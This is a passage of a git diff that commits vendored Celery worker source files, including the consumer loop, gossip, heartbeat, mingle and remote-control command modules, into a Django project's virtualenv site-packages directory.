return (self.qos.decrement_eventually if index < 0 + else self.qos.increment_eventually)( + abs(index) * self.prefetch_multiplier) + + def _limit_move_to_pool(self, request): + task_reserved(request) + self.on_task_request(request) + + def _schedule_bucket_request(self, bucket): + while True: + try: + request, tokens = bucket.pop() + except IndexError: + # no request, break + break + + if bucket.can_consume(tokens): + self._limit_move_to_pool(request) + continue + else: + # requeue to head, keep the order. + bucket.contents.appendleft((request, tokens)) + + pri = self._limit_order = (self._limit_order + 1) % 10 + hold = bucket.expected_time(tokens) + self.timer.call_after( + hold, self._schedule_bucket_request, (bucket,), + priority=pri, + ) + # no tokens, break + break + + def _limit_task(self, request, bucket, tokens): + bucket.add((request, tokens)) + return self._schedule_bucket_request(bucket) + + def _limit_post_eta(self, request, bucket, tokens): + self.qos.decrement_eventually() + bucket.add((request, tokens)) + return self._schedule_bucket_request(bucket) + + def start(self): + blueprint = self.blueprint + while blueprint.state not in STOP_CONDITIONS: + maybe_shutdown() + if self.restart_count: + try: + self._restart_state.step() + except RestartFreqExceeded as exc: + crit('Frequent restarts detected: %r', exc, exc_info=1) + sleep(1) + self.restart_count += 1 + try: + blueprint.start(self) + except self.connection_errors as exc: + # If we're not retrying connections, no need to catch + # connection errors + if not self.app.conf.broker_connection_retry: + raise + if isinstance(exc, OSError) and exc.errno == errno.EMFILE: + raise # Too many open files + maybe_shutdown() + if blueprint.state not in STOP_CONDITIONS: + if self.connection: + self.on_connection_error_after_connected(exc) + else: + self.on_connection_error_before_connected(exc) + self.on_close() + blueprint.restart(self) + + def on_connection_error_before_connected(self, exc): + error(CONNECTION_ERROR, self.conninfo.as_uri(), exc, + 'Trying to reconnect...') + + def on_connection_error_after_connected(self, exc): + warn(CONNECTION_RETRY, exc_info=True) + try: + self.connection.collect() + except Exception: # pylint: disable=broad-except + pass + + if self.app.conf.worker_cancel_long_running_tasks_on_connection_loss: + for request in tuple(active_requests): + if request.task.acks_late and not request.acknowledged: + warn(TERMINATING_TASK_ON_RESTART_AFTER_A_CONNECTION_LOSS, + request) + request.cancel(self.pool) + else: + warnings.warn(CANCEL_TASKS_BY_DEFAULT, CPendingDeprecationWarning) + + def register_with_event_loop(self, hub): + self.blueprint.send_all( + self, 'register_with_event_loop', args=(hub,), + description='Hub.register', + ) + + def shutdown(self): + self.blueprint.shutdown(self) + + def stop(self): + self.blueprint.stop(self) + + def on_ready(self): + callback, self.init_callback = self.init_callback, None + if callback: + callback(self) + + def loop_args(self): + return (self, self.connection, self.task_consumer, + self.blueprint, self.hub, self.qos, self.amqheartbeat, + self.app.clock, self.amqheartbeat_rate) + + def on_decode_error(self, message, exc): + """Callback called if an error occurs while decoding a message. + + Simply logs the error and acknowledges the message so it + doesn't enter a loop. + + Arguments: + message (kombu.Message): The message received. + exc (Exception): The exception being handled. + """ + crit(MESSAGE_DECODE_ERROR, + exc, message.content_type, message.content_encoding, + safe_repr(message.headers), dump_body(message, message.body), + exc_info=1) + message.ack() + + def on_close(self): + # Clear internal queues to get rid of old messages. + # They can't be acked anyway, as a delivery tag is specific + # to the current channel. + if self.controller and self.controller.semaphore: + self.controller.semaphore.clear() + if self.timer: + self.timer.clear() + for bucket in self.task_buckets.values(): + if bucket: + bucket.clear_pending() + reserved_requests.clear() + if self.pool and self.pool.flush: + self.pool.flush() + + def connect(self): + """Establish the broker connection used for consuming tasks. + + Retries establishing the connection if the + :setting:`broker_connection_retry` setting is enabled + """ + conn = self.connection_for_read(heartbeat=self.amqheartbeat) + if self.hub: + conn.transport.register_with_event_loop(conn.connection, self.hub) + return conn + + def connection_for_read(self, heartbeat=None): + return self.ensure_connected( + self.app.connection_for_read(heartbeat=heartbeat)) + + def connection_for_write(self, heartbeat=None): + return self.ensure_connected( + self.app.connection_for_write(heartbeat=heartbeat)) + + def ensure_connected(self, conn): + # Callback called for each retry while the connection + # can't be established. + def _error_handler(exc, interval, next_step=CONNECTION_RETRY_STEP): + if getattr(conn, 'alt', None) and interval == 0: + next_step = CONNECTION_FAILOVER + next_step = next_step.format( + when=humanize_seconds(interval, 'in', ' '), + retries=int(interval / 2), + max_retries=self.app.conf.broker_connection_max_retries) + error(CONNECTION_ERROR, conn.as_uri(), exc, next_step) + + # remember that the connection is lazy, it won't establish + # until needed. + if not self.app.conf.broker_connection_retry: + # retry disabled, just call connect directly. + conn.connect() + return conn + + conn = conn.ensure_connection( + _error_handler, self.app.conf.broker_connection_max_retries, + callback=maybe_shutdown, + ) + return conn + + def _flush_events(self): + if self.event_dispatcher: + self.event_dispatcher.flush() + + def on_send_event_buffered(self): + if self.hub: + self.hub._ready.add(self._flush_events) + + def add_task_queue(self, queue, exchange=None, exchange_type=None, + routing_key=None, **options): + cset = self.task_consumer + queues = self.app.amqp.queues + # Must use in' here, as __missing__ will automatically + # create queues when :setting:`task_create_missing_queues` is enabled. + # (Issue #1079) + if queue in queues: + q = queues[queue] + else: + exchange = queue if exchange is None else exchange + exchange_type = ('direct' if exchange_type is None + else exchange_type) + q = queues.select_add(queue, + exchange=exchange, + exchange_type=exchange_type, + routing_key=routing_key, **options) + if not cset.consuming_from(queue): + cset.add_queue(q) + cset.consume() + info('Started consuming from %s', queue) + + def cancel_task_queue(self, queue): + info('Canceling queue %s', queue) + self.app.amqp.queues.deselect(queue) + self.task_consumer.cancel_by_queue(queue) + + def apply_eta_task(self, task): + """Method called by the timer to apply a task with an ETA/countdown.""" + task_reserved(task) + self.on_task_request(task) + self.qos.decrement_eventually() + + def _message_report(self, body, message): + return MESSAGE_REPORT.format(dump_body(message, body), + safe_repr(message.content_type), + safe_repr(message.content_encoding), + safe_repr(message.delivery_info), + safe_repr(message.headers)) + + def on_unknown_message(self, body, message): + warn(UNKNOWN_FORMAT, self._message_report(body, message)) + message.reject_log_error(logger, self.connection_errors) + signals.task_rejected.send(sender=self, message=message, exc=None) + + def on_unknown_task(self, body, message, exc): + error(UNKNOWN_TASK_ERROR, + exc, + dump_body(message, body), + message.headers, + message.delivery_info, + exc_info=True) + try: + id_, name = message.headers['id'], message.headers['task'] + root_id = message.headers.get('root_id') + except KeyError: # proto1 + payload = message.payload + id_, name = payload['id'], payload['task'] + root_id = None + request = Bunch( + name=name, chord=None, root_id=root_id, + correlation_id=message.properties.get('correlation_id'), + reply_to=message.properties.get('reply_to'), + errbacks=None, + ) + message.reject_log_error(logger, self.connection_errors) + self.app.backend.mark_as_failure( + id_, NotRegistered(name), request=request, + ) + if self.event_dispatcher: + self.event_dispatcher.send( + 'task-failed', uuid=id_, + exception=f'NotRegistered({name!r})', + ) + signals.task_unknown.send( + sender=self, message=message, exc=exc, name=name, id=id_, + ) + + def on_invalid_task(self, body, message, exc): + error(INVALID_TASK_ERROR, exc, dump_body(message, body), + exc_info=True) + message.reject_log_error(logger, self.connection_errors) + signals.task_rejected.send(sender=self, message=message, exc=exc) + + def update_strategies(self): + loader = self.app.loader + for name, task in self.app.tasks.items(): + self.strategies[name] = task.start_strategy(self.app, self) + task.__trace__ = build_tracer(name, task, loader, self.hostname, + app=self.app) + + def create_task_handler(self, promise=promise): + strategies = self.strategies + on_unknown_message = self.on_unknown_message + on_unknown_task = self.on_unknown_task + on_invalid_task = self.on_invalid_task + callbacks = self.on_task_message + call_soon = self.call_soon + + def on_task_received(message): + # payload will only be set for v1 protocol, since v2 + # will defer deserializing the message body to the pool. + payload = None + try: + type_ = message.headers['task'] # protocol v2 + except TypeError: + return on_unknown_message(None, message) + except KeyError: + try: + payload = message.decode() + except Exception as exc: # pylint: disable=broad-except + return self.on_decode_error(message, exc) + try: + type_, payload = payload['task'], payload # protocol v1 + except (TypeError, KeyError): + return on_unknown_message(payload, message) + try: + strategy = strategies[type_] + except KeyError as exc: + return on_unknown_task(None, message, exc) + else: + try: + strategy( + message, payload, + promise(call_soon, (message.ack_log_error,)), + promise(call_soon, (message.reject_log_error,)), + callbacks, + ) + except (InvalidTaskError, ContentDisallowed) as exc: + return on_invalid_task(payload, message, exc) + except DecodeError as exc: + return self.on_decode_error(message, exc) + + return on_task_received + + def __repr__(self): + """``repr(self)``.""" + return ''.format( + self=self, state=self.blueprint.human_state(), + ) + + +class Evloop(bootsteps.StartStopStep): + """Event loop service. + + Note: + This is always started last. + """ + + label = 'event loop' + last = True + + def start(self, c): + self.patch_all(c) + c.loop(*c.loop_args()) + + def patch_all(self, c): + c.qos._mutex = DummyLock() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/control.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/control.py new file mode 100644 index 00000000..b0ca3ef8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/control.py @@ -0,0 +1,33 @@ +"""Worker Remote Control Bootstep. + +``Control`` -> :mod:`celery.worker.pidbox` -> :mod:`kombu.pidbox`. + +The actual commands are implemented in :mod:`celery.worker.control`. +""" +from celery import bootsteps +from celery.utils.log import get_logger +from celery.worker import pidbox + +from .tasks import Tasks + +__all__ = ('Control',) + +logger = get_logger(__name__) + + +class Control(bootsteps.StartStopStep): + """Remote control command service.""" + + requires = (Tasks,) + + def __init__(self, c, **kwargs): + self.is_green = c.pool is not None and c.pool.is_green + self.box = (pidbox.gPidbox if self.is_green else pidbox.Pidbox)(c) + self.start = self.box.start + self.stop = self.box.stop + self.shutdown = self.box.shutdown + super().__init__(c, **kwargs) + + def include_if(self, c): + return (c.app.conf.worker_enable_remote_control and + c.conninfo.supports_exchange_type('fanout')) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/events.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/events.py new file mode 100644 index 00000000..7ff47356 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/events.py @@ -0,0 +1,68 @@ +"""Worker Event Dispatcher Bootstep. + +``Events`` -> :class:`celery.events.EventDispatcher`. +""" +from kombu.common import ignore_errors + +from celery import bootsteps + +from .connection import Connection + +__all__ = ('Events',) + + +class Events(bootsteps.StartStopStep): + """Service used for sending monitoring events.""" + + requires = (Connection,) + + def __init__(self, c, + task_events=True, + without_heartbeat=False, + without_gossip=False, + **kwargs): + self.groups = None if task_events else ['worker'] + self.send_events = ( + task_events or + not without_gossip or + not without_heartbeat + ) + self.enabled = self.send_events + c.event_dispatcher = None + super().__init__(c, **kwargs) + + def start(self, c): + # flush events sent while connection was down. + prev = self._close(c) + dis = c.event_dispatcher = c.app.events.Dispatcher( + c.connection_for_write(), + hostname=c.hostname, + enabled=self.send_events, + groups=self.groups, + # we currently only buffer events when the event loop is enabled + # XXX This excludes eventlet/gevent, which should actually buffer. + buffer_group=['task'] if c.hub else None, + on_send_buffered=c.on_send_event_buffered if c.hub else None, + ) + if prev: + dis.extend_buffer(prev) + dis.flush() + + def stop(self, c): + pass + + def _close(self, c): + if c.event_dispatcher: + dispatcher = c.event_dispatcher + # remember changes from remote control commands: + self.groups = dispatcher.groups + + # close custom connection + if dispatcher.connection: + ignore_errors(c, dispatcher.connection.close) + ignore_errors(c, dispatcher.close) + c.event_dispatcher = None + return dispatcher + + def shutdown(self, c): + self._close(c) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/gossip.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/gossip.py new file mode 100644 index 00000000..16e1c2ef --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/gossip.py @@ -0,0 +1,205 @@ +"""Worker <-> Worker communication Bootstep.""" +from collections import defaultdict +from functools import partial +from heapq import heappush +from operator import itemgetter + +from kombu import Consumer +from kombu.asynchronous.semaphore import DummyLock +from kombu.exceptions import ContentDisallowed, DecodeError + +from celery import bootsteps +from celery.utils.log import get_logger +from celery.utils.objects import Bunch + +from .mingle import Mingle + +__all__ = ('Gossip',) + +logger = get_logger(__name__) +debug, info = logger.debug, logger.info + + +class Gossip(bootsteps.ConsumerStep): + """Bootstep consuming events from other workers. + + This keeps the logical clock value up to date. + """ + + label = 'Gossip' + requires = (Mingle,) + _cons_stamp_fields = itemgetter( + 'id', 'clock', 'hostname', 'pid', 'topic', 'action', 'cver', + ) + compatible_transports = {'amqp', 'redis'} + + def __init__(self, c, without_gossip=False, + interval=5.0, heartbeat_interval=2.0, **kwargs): + self.enabled = not without_gossip and self.compatible_transport(c.app) + self.app = c.app + c.gossip = self + self.Receiver = c.app.events.Receiver + self.hostname = c.hostname + self.full_hostname = '.'.join([self.hostname, str(c.pid)]) + self.on = Bunch( + node_join=set(), + node_leave=set(), + node_lost=set(), + ) + + self.timer = c.timer + if self.enabled: + self.state = c.app.events.State( + on_node_join=self.on_node_join, + on_node_leave=self.on_node_leave, + max_tasks_in_memory=1, + ) + if c.hub: + c._mutex = DummyLock() + self.update_state = self.state.event + self.interval = interval + self.heartbeat_interval = heartbeat_interval + self._tref = None + self.consensus_requests = defaultdict(list) + self.consensus_replies = {} + self.event_handlers = { + 'worker.elect': self.on_elect, + 'worker.elect.ack': self.on_elect_ack, + } + self.clock = c.app.clock + + self.election_handlers = { + 'task': self.call_task + } + + super().__init__(c, **kwargs) + + def compatible_transport(self, app): + with app.connection_for_read() as conn: + return conn.transport.driver_type in self.compatible_transports + + def election(self, id, topic, action=None): + self.consensus_replies[id] = [] + self.dispatcher.send( + 'worker-elect', + id=id, topic=topic, action=action, cver=1, + ) + + def call_task(self, task): + try: + self.app.signature(task).apply_async() + except Exception as exc: # pylint: disable=broad-except + logger.exception('Could not call task: %r', exc) + + def on_elect(self, event): + try: + (id_, clock, hostname, pid, + topic, action, _) = self._cons_stamp_fields(event) + except KeyError as exc: + return logger.exception('election request missing field %s', exc) + heappush( + self.consensus_requests[id_], + (clock, f'{hostname}.{pid}', topic, action), + ) + self.dispatcher.send('worker-elect-ack', id=id_) + + def start(self, c): + super().start(c) + self.dispatcher = c.event_dispatcher + + def on_elect_ack(self, event): + id = event['id'] + try: + replies = self.consensus_replies[id] + except KeyError: + return # not for us + alive_workers = set(self.state.alive_workers()) + replies.append(event['hostname']) + + if len(replies) >= len(alive_workers): + _, leader, topic, action = self.clock.sort_heap( + self.consensus_requests[id], + ) + if leader == self.full_hostname: + info('I won the election %r', id) + try: + handler = self.election_handlers[topic] + except KeyError: + logger.exception('Unknown election topic %r', topic) + else: + handler(action) + else: + info('node %s elected for %r', leader, id) + self.consensus_requests.pop(id, None) + self.consensus_replies.pop(id, None) + + def on_node_join(self, worker): + debug('%s joined the party', worker.hostname) + self._call_handlers(self.on.node_join, worker) + + def on_node_leave(self, worker): + debug('%s left', worker.hostname) + self._call_handlers(self.on.node_leave, worker) + + def on_node_lost(self, worker): + info('missed heartbeat from %s', worker.hostname) + self._call_handlers(self.on.node_lost, worker) + + def _call_handlers(self, handlers, *args, **kwargs): + for handler in handlers: + try: + handler(*args, **kwargs) + except Exception as exc: # pylint: disable=broad-except + logger.exception( + 'Ignored error from handler %r: %r', handler, exc) + + def register_timer(self): + if self._tref is not None: + self._tref.cancel() + self._tref = self.timer.call_repeatedly(self.interval, self.periodic) + + def periodic(self): + workers = self.state.workers + dirty = set() + for worker in workers.values(): + if not worker.alive: + dirty.add(worker) + self.on_node_lost(worker) + for worker in dirty: + workers.pop(worker.hostname, None) + + def get_consumers(self, channel): + self.register_timer() + ev = self.Receiver(channel, routing_key='worker.#', + queue_ttl=self.heartbeat_interval) + return [Consumer( + channel, + queues=[ev.queue], + on_message=partial(self.on_message, ev.event_from_message), + no_ack=True + )] + + def on_message(self, prepare, message): + _type = message.delivery_info['routing_key'] + + # For redis when `fanout_patterns=False` (See Issue #1882) + if _type.split('.', 1)[0] == 'task': + return + try: + handler = self.event_handlers[_type] + except KeyError: + pass + else: + return handler(message.payload) + + # proto2: hostname in header; proto1: in body + hostname = (message.headers.get('hostname') or + message.payload['hostname']) + if hostname != self.hostname: + try: + _, event = prepare(message.payload) + self.update_state(event) + except (DecodeError, ContentDisallowed, TypeError) as exc: + logger.error(exc) + else: + self.clock.forward() diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/heart.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/heart.py new file mode 100644 index 00000000..076f5f9a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/heart.py @@ -0,0 +1,36 @@ +"""Worker Event Heartbeat Bootstep.""" +from celery import bootsteps +from celery.worker import heartbeat + +from .events import Events + +__all__ = ('Heart',) + + +class Heart(bootsteps.StartStopStep): + """Bootstep sending event heartbeats. + + This service sends a ``worker-heartbeat`` message every n seconds. + + Note: + Not to be confused with AMQP protocol level heartbeats. + """ + + requires = (Events,) + + def __init__(self, c, + without_heartbeat=False, heartbeat_interval=None, **kwargs): + self.enabled = not without_heartbeat + self.heartbeat_interval = heartbeat_interval + c.heart = None + super().__init__(c, **kwargs) + + def start(self, c): + c.heart = heartbeat.Heart( + c.timer, c.event_dispatcher, self.heartbeat_interval, + ) + c.heart.start() + + def stop(self, c): + c.heart = c.heart and c.heart.stop() + shutdown = stop diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/mingle.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/mingle.py new file mode 100644 index 00000000..532ab75e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/mingle.py @@ -0,0 +1,76 @@ +"""Worker <-> Worker Sync at startup (Bootstep).""" +from celery import bootsteps +from celery.utils.log import get_logger + +from .events import Events + +__all__ = ('Mingle',) + +logger = get_logger(__name__) +debug, info, exception = logger.debug, logger.info, logger.exception + + +class Mingle(bootsteps.StartStopStep): + """Bootstep syncing state with neighbor workers. + + At startup, or upon consumer restart, this will: + + - Sync logical clocks. + - Sync revoked tasks. + + """ + + label = 'Mingle' + requires = (Events,) + compatible_transports = {'amqp', 'redis'} + + def __init__(self, c, without_mingle=False, **kwargs): + self.enabled = not without_mingle and self.compatible_transport(c.app) + super().__init__( + c, without_mingle=without_mingle, **kwargs) + + def compatible_transport(self, app): + with app.connection_for_read() as conn: + return conn.transport.driver_type in self.compatible_transports + + def start(self, c): + self.sync(c) + + def sync(self, c): + info('mingle: searching for neighbors') + replies = self.send_hello(c) + if replies: + info('mingle: sync with %s nodes', + len([reply for reply, value in replies.items() if value])) + [self.on_node_reply(c, nodename, reply) + for nodename, reply in replies.items() if reply] + info('mingle: sync complete') + else: + info('mingle: all alone') + + def send_hello(self, c): + inspect = c.app.control.inspect(timeout=1.0, connection=c.connection) + our_revoked = c.controller.state.revoked + replies = inspect.hello(c.hostname, our_revoked._data) or {} + replies.pop(c.hostname, None) # delete my own response + return replies + + def on_node_reply(self, c, nodename, reply): + debug('mingle: processing reply from %s', nodename) + try: + self.sync_with_node(c, **reply) + except MemoryError: + raise + except Exception as exc: # pylint: disable=broad-except + exception('mingle: sync with %s failed: %r', nodename, exc) + + def sync_with_node(self, c, clock=None, revoked=None, **kwargs): + self.on_clock_event(c, clock) + self.on_revoked_received(c, revoked) + + def on_clock_event(self, c, clock): + c.app.clock.adjust(clock) if clock else c.app.clock.forward() + + def on_revoked_received(self, c, revoked): + if revoked: + c.controller.state.revoked.update(revoked) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/tasks.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/tasks.py new file mode 100644 index 00000000..a9127142 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/tasks.py @@ -0,0 +1,65 @@ +"""Worker Task Consumer Bootstep.""" +from kombu.common import QoS, ignore_errors + +from celery import bootsteps +from celery.utils.log import get_logger + +from .mingle import Mingle + +__all__ = ('Tasks',) + +logger = get_logger(__name__) +debug = logger.debug + + +class Tasks(bootsteps.StartStopStep): + """Bootstep starting the task message consumer.""" + + requires = (Mingle,) + + def __init__(self, c, **kwargs): + c.task_consumer = c.qos = None + super().__init__(c, **kwargs) + + def start(self, c): + """Start task consumer.""" + c.update_strategies() + + # - RabbitMQ 3.3 completely redefines how basic_qos works.. + # This will detect if the new qos smenatics is in effect, + # and if so make sure the 'apply_global' flag is set on qos updates. + qos_global = not c.connection.qos_semantics_matches_spec + + # set initial prefetch count + c.connection.default_channel.basic_qos( + 0, c.initial_prefetch_count, qos_global, + ) + + c.task_consumer = c.app.amqp.TaskConsumer( + c.connection, on_decode_error=c.on_decode_error, + ) + + def set_prefetch_count(prefetch_count): + return c.task_consumer.qos( + prefetch_count=prefetch_count, + apply_global=qos_global, + ) + c.qos = QoS(set_prefetch_count, c.initial_prefetch_count) + + def stop(self, c): + """Stop task consumer.""" + if c.task_consumer: + debug('Canceling task consumer...') + ignore_errors(c, c.task_consumer.cancel) + + def shutdown(self, c): + """Shutdown task consumer.""" + if c.task_consumer: + self.stop(c) + debug('Closing consumer channel...') + ignore_errors(c, c.task_consumer.close) + c.task_consumer = None + + def info(self, c): + """Return task consumer info.""" + return {'prefetch_count': c.qos.value if c.qos else 'N/A'} diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/control.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/control.py new file mode 100644 index 00000000..197d0c4d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/control.py @@ -0,0 +1,559 @@ +"""Worker remote control command implementations.""" +import io +import tempfile +from collections import UserDict, namedtuple + +from billiard.common import TERM_SIGNAME +from kombu.utils.encoding import safe_repr + +from celery.exceptions import WorkerShutdown +from celery.platforms import signals as _signals +from celery.utils.functional import maybe_list +from celery.utils.log import get_logger +from celery.utils.serialization import jsonify, strtobool +from celery.utils.time import rate + +from . import state as worker_state +from .request import Request + +__all__ = ('Panel',) + +DEFAULT_TASK_INFO_ITEMS = ('exchange', 'routing_key', 'rate_limit') +logger = get_logger(__name__) + +controller_info_t = namedtuple('controller_info_t', [ + 'alias', 'type', 'visible', 'default_timeout', + 'help', 'signature', 'args', 'variadic', +]) + + +def ok(value): + return {'ok': value} + + +def nok(value): + return {'error': value} + + +class Panel(UserDict): + """Global registry of remote control commands.""" + + data = {} # global dict. + meta = {} # -"- + + @classmethod + def register(cls, *args, **kwargs): + if args: + return cls._register(**kwargs)(*args) + return cls._register(**kwargs) + + @classmethod + def _register(cls, name=None, alias=None, type='control', + visible=True, default_timeout=1.0, help=None, + signature=None, args=None, variadic=None): + + def _inner(fun): + control_name = name or fun.__name__ + _help = help or (fun.__doc__ or '').strip().split('\n')[0] + cls.data[control_name] = fun + cls.meta[control_name] = controller_info_t( + alias, type, visible, default_timeout, + _help, signature, args, variadic) + if alias: + cls.data[alias] = fun + return fun + return _inner + + +def control_command(**kwargs): + return Panel.register(type='control', **kwargs) + + +def inspect_command(**kwargs): + return Panel.register(type='inspect', **kwargs) + +# -- App + + +@inspect_command() +def report(state): + """Information about Celery installation for bug reports.""" + return ok(state.app.bugreport()) + + +@inspect_command( + alias='dump_conf', # XXX < backwards compatible + signature='[include_defaults=False]', + args=[('with_defaults', strtobool)], +) +def conf(state, with_defaults=False, **kwargs): + """List configuration.""" + return jsonify(state.app.conf.table(with_defaults=with_defaults), + keyfilter=_wanted_config_key, + unknown_type_filter=safe_repr) + + +def _wanted_config_key(key): + return isinstance(key, str) and not key.startswith('__') + + +# -- Task + +@inspect_command( + variadic='ids', + signature='[id1 [id2 [... [idN]]]]', +) +def query_task(state, ids, **kwargs): + """Query for task information by id.""" + return { + req.id: (_state_of_task(req), req.info()) + for req in _find_requests_by_id(maybe_list(ids)) + } + + +def _find_requests_by_id(ids, + get_request=worker_state.requests.__getitem__): + for task_id in ids: + try: + yield get_request(task_id) + except KeyError: + pass + + +def _state_of_task(request, + is_active=worker_state.active_requests.__contains__, + is_reserved=worker_state.reserved_requests.__contains__): + if is_active(request): + return 'active' + elif is_reserved(request): + return 'reserved' + return 'ready' + + +@control_command( + variadic='task_id', + signature='[id1 [id2 [... [idN]]]]', +) +def revoke(state, task_id, terminate=False, signal=None, **kwargs): + """Revoke task by task id (or list of ids). + + Keyword Arguments: + terminate (bool): Also terminate the process if the task is active. + signal (str): Name of signal to use for terminate (e.g., ``KILL``). + """ + # pylint: disable=redefined-outer-name + # XXX Note that this redefines `terminate`: + # Outside of this scope that is a function. + # supports list argument since 3.1 + task_ids, task_id = set(maybe_list(task_id) or []), None + size = len(task_ids) + terminated = set() + + worker_state.revoked.update(task_ids) + if terminate: + signum = _signals.signum(signal or TERM_SIGNAME) + for request in _find_requests_by_id(task_ids): + if request.id not in terminated: + terminated.add(request.id) + logger.info('Terminating %s (%s)', request.id, signum) + request.terminate(state.consumer.pool, signal=signum) + if len(terminated) >= size: + break + + if not terminated: + return ok('terminate: tasks unknown') + return ok('terminate: {}'.format(', '.join(terminated))) + + idstr = ', '.join(task_ids) + logger.info('Tasks flagged as revoked: %s', idstr) + return ok(f'tasks {idstr} flagged as revoked') + + +@control_command( + variadic='task_id', + args=[('signal', str)], + signature=' [id1 [id2 [... [idN]]]]' +) +def terminate(state, signal, task_id, **kwargs): + """Terminate task by task id (or list of ids).""" + return revoke(state, task_id, terminate=True, signal=signal) + + +@control_command( + args=[('task_name', str), ('rate_limit', str)], + signature=' ', +) +def rate_limit(state, task_name, rate_limit, **kwargs): + """Tell worker(s) to modify the rate limit for a task by type. + + See Also: + :attr:`celery.app.task.Task.rate_limit`. + + Arguments: + task_name (str): Type of task to set rate limit for. + rate_limit (int, str): New rate limit. + """ + # pylint: disable=redefined-outer-name + # XXX Note that this redefines `terminate`: + # Outside of this scope that is a function. + try: + rate(rate_limit) + except ValueError as exc: + return nok(f'Invalid rate limit string: {exc!r}') + + try: + state.app.tasks[task_name].rate_limit = rate_limit + except KeyError: + logger.error('Rate limit attempt for unknown task %s', + task_name, exc_info=True) + return nok('unknown task') + + state.consumer.reset_rate_limits() + + if not rate_limit: + logger.info('Rate limits disabled for tasks of type %s', task_name) + return ok('rate limit disabled successfully') + + logger.info('New rate limit for tasks of type %s: %s.', + task_name, rate_limit) + return ok('new rate limit set successfully') + + +@control_command( + args=[('task_name', str), ('soft', float), ('hard', float)], + signature=' [hard_secs]', +) +def time_limit(state, task_name=None, hard=None, soft=None, **kwargs): + """Tell worker(s) to modify the time limit for task by type. + + Arguments: + task_name (str): Name of task to change. + hard (float): Hard time limit. + soft (float): Soft time limit. + """ + try: + task = state.app.tasks[task_name] + except KeyError: + logger.error('Change time limit attempt for unknown task %s', + task_name, exc_info=True) + return nok('unknown task') + + task.soft_time_limit = soft + task.time_limit = hard + + logger.info('New time limits for tasks of type %s: soft=%s hard=%s', + task_name, soft, hard) + return ok('time limits set successfully') + + +# -- Events + + +@inspect_command() +def clock(state, **kwargs): + """Get current logical clock value.""" + return {'clock': state.app.clock.value} + + +@control_command() +def election(state, id, topic, action=None, **kwargs): + """Hold election. + + Arguments: + id (str): Unique election id. + topic (str): Election topic. + action (str): Action to take for elected actor. + """ + if state.consumer.gossip: + state.consumer.gossip.election(id, topic, action) + + +@control_command() +def enable_events(state): + """Tell worker(s) to send task-related events.""" + dispatcher = state.consumer.event_dispatcher + if dispatcher.groups and 'task' not in dispatcher.groups: + dispatcher.groups.add('task') + logger.info('Events of group {task} enabled by remote.') + return ok('task events enabled') + return ok('task events already enabled') + + +@control_command() +def disable_events(state): + """Tell worker(s) to stop sending task-related events.""" + dispatcher = state.consumer.event_dispatcher + if 'task' in dispatcher.groups: + dispatcher.groups.discard('task') + logger.info('Events of group {task} disabled by remote.') + return ok('task events disabled') + return ok('task events already disabled') + + +@control_command() +def heartbeat(state): + """Tell worker(s) to send event heartbeat immediately.""" + logger.debug('Heartbeat requested by remote.') + dispatcher = state.consumer.event_dispatcher + dispatcher.send('worker-heartbeat', freq=5, **worker_state.SOFTWARE_INFO) + + +# -- Worker + +@inspect_command(visible=False) +def hello(state, from_node, revoked=None, **kwargs): + """Request mingle sync-data.""" + # pylint: disable=redefined-outer-name + # XXX Note that this redefines `revoked`: + # Outside of this scope that is a function. + if from_node != state.hostname: + logger.info('sync with %s', from_node) + if revoked: + worker_state.revoked.update(revoked) + # Do not send expired items to the other worker. + worker_state.revoked.purge() + return { + 'revoked': worker_state.revoked._data, + 'clock': state.app.clock.forward(), + } + + +@inspect_command(default_timeout=0.2) +def ping(state, **kwargs): + """Ping worker(s).""" + return ok('pong') + + +@inspect_command() +def stats(state, **kwargs): + """Request worker statistics/information.""" + return state.consumer.controller.stats() + + +@inspect_command(alias='dump_schedule') +def scheduled(state, **kwargs): + """List of currently scheduled ETA/countdown tasks.""" + return list(_iter_schedule_requests(state.consumer.timer)) + + +def _iter_schedule_requests(timer): + for waiting in timer.schedule.queue: + try: + arg0 = waiting.entry.args[0] + except (IndexError, TypeError): + continue + else: + if isinstance(arg0, Request): + yield { + 'eta': arg0.eta.isoformat() if arg0.eta else None, + 'priority': waiting.priority, + 'request': arg0.info(), + } + + +@inspect_command(alias='dump_reserved') +def reserved(state, **kwargs): + """List of currently reserved tasks, not including scheduled/active.""" + reserved_tasks = ( + state.tset(worker_state.reserved_requests) - + state.tset(worker_state.active_requests) + ) + if not reserved_tasks: + return [] + return [request.info() for request in reserved_tasks] + + +@inspect_command(alias='dump_active') +def active(state, safe=False, **kwargs): + """List of tasks currently being executed.""" + return [request.info(safe=safe) + for request in state.tset(worker_state.active_requests)] + + +@inspect_command(alias='dump_revoked') +def revoked(state, **kwargs): + """List of revoked task-ids.""" + return list(worker_state.revoked) + + +@inspect_command( + alias='dump_tasks', + variadic='taskinfoitems', + signature='[attr1 [attr2 [... [attrN]]]]', +) +def registered(state, taskinfoitems=None, builtins=False, **kwargs): + """List of registered tasks. + + Arguments: + taskinfoitems (Sequence[str]): List of task attributes to include. + Defaults to ``exchange,routing_key,rate_limit``. + builtins (bool): Also include built-in tasks. + """ + reg = state.app.tasks + taskinfoitems = taskinfoitems or 